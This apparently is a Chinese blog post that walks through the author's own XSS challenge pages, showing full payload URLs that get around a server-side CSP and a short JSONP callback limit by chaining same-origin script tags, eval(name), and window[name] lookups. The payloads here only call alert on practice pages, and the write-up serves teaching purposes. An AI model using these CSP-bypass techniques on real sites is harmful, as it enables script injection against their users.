前言
之前发了《一些BAT的XSS实例》系列的6篇技术文章,很多朋友表示看的意犹未尽,问我还有没有续集。刚好最近gainover和香草发了我了几个题说挺有意思,我就去试了试,结果一道都没做出来。后来看了答案后,感觉的确很有意思,所以将题目部分做了下修改,来作为该系列的续集,进行下思路的分享。
先把设计的几个题目发出来
http://px1624.sinaapp.com/test/xsstest13/
http://px1624.sinaapp.com/test/xsstest14/
http://px1624.sinaapp.com/test/xsstest15/
http://px1624.sinaapp.com/test/xsstest16/
其中14题是gainover设计的那个原题,在上一篇《一些BAT的XSS实例(七)技巧篇》已经做了非常详细的技术讲解和剖析。
另外3个题是,根据香草设计的题的解题思路,做了些改动,上篇中在分析13题的时候,也提到了这里主要是考的CSP的相关知识。
有兴趣的朋友,可以先不看文章,自己尝试的做一做题目,有答案的话可以发到我的邮箱 px1624@qq.com 并附上自己的ID,说不定下篇文章里面就会有你的绕过思路被收录了额。
首先是13题,先看下源码。
上一篇《一些BAT的XSS实例(七)技巧篇》中,已经进行了一定的分析,前面相关的重叠部分,这里就不在详细叙述了。
下面继续说思路,从这个px.js的源码中我们可以发现,需要传入的参数是sss,所以我们给url传个sss参数进去。
发现貌似什么都没有过滤,那么传个xss代码进去试试。
发现不管怎么写,代码都可以直接写进去,但是就是不弹窗。很多人可能就会很郁闷,这什么bug啊,明明写进去了,但是为什么就是不执行,这时候可能就很奇怪了,Why?
我们还是去看下控制台的报错信息吧:
其实是因为我设计题目的时候,在服务器端部署了CSP规则,这也就是题目的第二个考点,什么是CSP,可以百度了解下。
也可以参考这里:https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
或者这里:http://www.ruanyifeng.com/blog/2016/09/csp.html
也就是说有了这个限制,这里的脚本就只能加载当前域名的资源,其他外部资源,以及内联脚本,以及onxxx这种就全部不能用了。这也就是为什么上面的情况,明明看着是写入了脚本代码,但是却无法执行的原因了。
那么有人会问,我怎么看这里是不是有部署CSP规则?
CSP规则的部署一般有3个位置,一个是meta标签里。像下图这样
还有一种是在iframe标签里,像这样
还有一种是在php端部署的,我这个题就是在php端写的。
php端写的这种CSP规则,直接源码是看不到的,可以去抓包在返回数据的header头中看到。
上面原理讲明白了,下面就继续看下这个题怎么去解吧。原理也说的很明白,部署了这个CSP,就只能去加载当前域名的资源,那么我们就需要找一个当前域名的资源去加载。现在再想想一开始跳转过去的那个地址,不是可以写入任意7位字符么,这不就是一个当前域名的可控资源么。
所以构造下代码如下:
http://px1624.sinaapp.com/test/xsstest13/?sss=111%3Cscript%20src=px.php?callback=alert()%3E%3C/script%3E
成功弹窗,但是这里要求alert(13)才行,这样就超出7个字符了,怎么办?
是不是想到了第六题的那个思路了。
但是其实这样是不行的,因为这里并没有用jq。但是其实这个问题也不难解决,我们可以写入2个script标签去构造。具体构造后的payload如下:
http://px1624.sinaapp.com/test/xsstest13/?sss=111%3Cscript%20src=px.php?callback=a=alert%3E%3C/script%3E%3Cscript%20src=px.php?callback=a(13)%3E%3C/script%3E
如果上面内容都消化掉了,下面接着再看看第15题。
15题是13题的升级,字符长度从7个字符限制到了6个字符,但是CSP规则放开了eval的使用,其他代码都是一样的。
这样的限制会导致的问题就是,上面的方法不能用了。因为a=alert 这样是7个字符,那么就要寻找别的方法,这里给出了eval,所以思路是拼接后赋值,这个技巧在前面的相关技术文章中也有提到过。
用这样的思路,答案也就比较多样了,这里给出几个答案。
<iframe name='alert(15)' src='http://px1624.sinaapp.com/test/xsstest15/?sss=%3Cscript+src=%22px.php?callback=a=eval%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a(b)%22%3E%3C/script%3E'></iframe>
这里用iframe嵌套,然后引入name去全局变量去中转,最终等于执行了eval(name)代码,然后name中可以写入任意字符串。
http://px1624.sinaapp.com/test/xsstest15/?sss=11%%3Cscript/src=px.php?callback=a=`al`%3E%3C/script%3E%3Cscript/src=px.php?callback=b=`er`%3E%3C/script%3E%3Cscript/src=px.php?callback=c=`t(`%3E%3C/script%3E%3Cscript/src=px.php?callback=d=`15`%3E%3C/script%3E%3Cscript/src=px.php?callback=e=`)`%3E%3C/script%3E%3Cscript/src=px.php?callback=f=a%252Bb%3E%3C/script%3E%3Cscript/src=px.php?callback=g=c%252Bd%3E%3C/script%3E%3Cscript/src=px.php?callback=h=f%252Bg%3E%3C/script%3E%3Cscript/src=px.php?callback=i=h%252Be%3E%3C/script%3E%3Cscript/src=px.php?callback=j=eval%3E%3C/script%3E%3Cscript/src=px.php?callback=c=j(i)%3E%3C/script%3E
这个思路就是一步步的赋值,拼接出一个"alert(15)"
字符串,最终在eval执行。这里需要注意的是 + 加号这个需要url编码2次,因为一次是在浏览器的url里,一次是在script的src这里,所以需要编码2次才行。
如果上面内容都消化掉了,就接着再看第16题。
16题是13题和15题的升级,字符长度限制到了6个字符,而且CSP规则不允许使用eval,其他代码都是一样的。
这样的话,由于字符长度的问题,13题的方法就不行了,由于不能用eval,15题的方法也就不行了。所以需要有一个新的构造思路,首先要确定下思路,就是怎么样通过构造变形,将字符串变为函数,如果这点解决不了,那么这题就没办法推进了,如果你只知道eval这类方法,那么这个题基本上就到此为止了。
那么具体怎么在不用eval的情况下,把字符串变为函数呢,这里给出几种方法,思路都是一样的。
这样的方法,可以将alert函数给构造出来,具体自己去试试就知道了。
所以我们的构造思路是这样,先赋值a=this 然后拼接"alert"
字符串,一边拼接一边赋值,最终达到b="alert"
字符串的效果,然后c=a[b] 这样c就是alert函数了,最后执行c(16)即可。
这里给出几个paylod思路
<iframe name='alert' src='http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=this%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c(16)%22%3E%3C/script%3E'></iframe>
http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=%27al%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27e%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27r%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27t%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=self%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c`16`%22%3E%3C/script%3E
这里再抛出一个问题,如果16题这里要求必须调用外部js文件才算通过的话,有没有办法实现呢??
其实也是可以的,具体有兴趣的可以自己试试。
总结:
通过这几个案例可以看到,在我们的解法思路中,用到了CSP规则的相关知识、字符长度限制的构造技巧、字符串变函数的一些方法等。
可以看到,其实主要还是思路要对,同时基础知识要过硬,这样才能在XSS漏洞这方面做到“人挡杀人,佛挡杀佛”的操作。
尾巴:
截至发稿前,仅有几个人给出了部分答案,ID分别是:
香草、Huuuuu、gainover、evil7
当然,所有1~16题的构造思路并非唯一,也可欢迎其他人将自己更好更有意思的答案,发到我的邮箱 px1624@qq.com 并附上自己的ID,说不定下篇文章里面就会有你的绕过思路被收录了额。
目前共设计有16道题,修改下方链接的xsstest1为xsstest1~xsstest16即可。
http://px1624.sinaapp.com/test/xsstest1/
最后发下个人的纯技术交流的 公众号:不忘初心px1624